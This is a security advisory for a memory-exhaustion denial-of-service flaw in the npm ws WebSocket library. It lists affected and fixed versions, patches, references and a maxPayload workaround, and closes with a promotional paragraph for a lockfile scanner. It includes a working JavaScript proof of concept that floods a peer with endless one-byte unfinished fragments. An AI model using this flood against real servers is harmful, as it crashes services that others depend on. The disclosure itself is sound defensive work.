ws: Memory exhaustion DoS from tiny fragments and data chunks
Published 15 Jun 2026 · Updated 10 Sept 2026
Affected packages
- Affected
- >=1.1.0 <5.2.5
- Fixed in
- 5.2.5
npm install ws@5.2.5- Affected
- >=6.0.0 <6.2.4
- Fixed in
- 6.2.4
npm install ws@6.2.4- Affected
- >=7.0.0 <7.5.11
- Fixed in
- 7.5.11
npm install ws@7.5.11- Affected
- >=8.0.0 <8.21.0
- Fixed in
- 8.21.0
npm install ws@8.21.0Details
Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});Patches
The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Credits
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
Is GHSA-96hv-2xvq-fx4p in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected ws, and gives you the command that fixes it.
References
- Linkgithub.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-48779
- Linkgithub.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8
- Linkgithub.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94
- Linkgithub.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53
- Linkgithub.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7
- Linksecurity.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json
- Packagegithub.com/websockets/ws
- Linkbugzilla.redhat.com/show_bug.cgi?id=2489661
- Linkaccess.redhat.com/security/cve/CVE-2026-48779
- Linkaccess.redhat.com/errata/RHSA-2026:37272
- Linkaccess.redhat.com/errata/RHSA-2026:36820
- Linkaccess.redhat.com/errata/RHSA-2026:36754
- Linkaccess.redhat.com/errata/RHSA-2026:34342
- Linkaccess.redhat.com/errata/RHSA-2026:33574
- Linkaccess.redhat.com/errata/RHSA-2026:33183
- Linkaccess.redhat.com/errata/RHSA-2026:33173
- Linkaccess.redhat.com/errata/RHSA-2026:33163
- Linkaccess.redhat.com/errata/RHSA-2026:33160
- Linkaccess.redhat.com/errata/RHSA-2026:33155
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.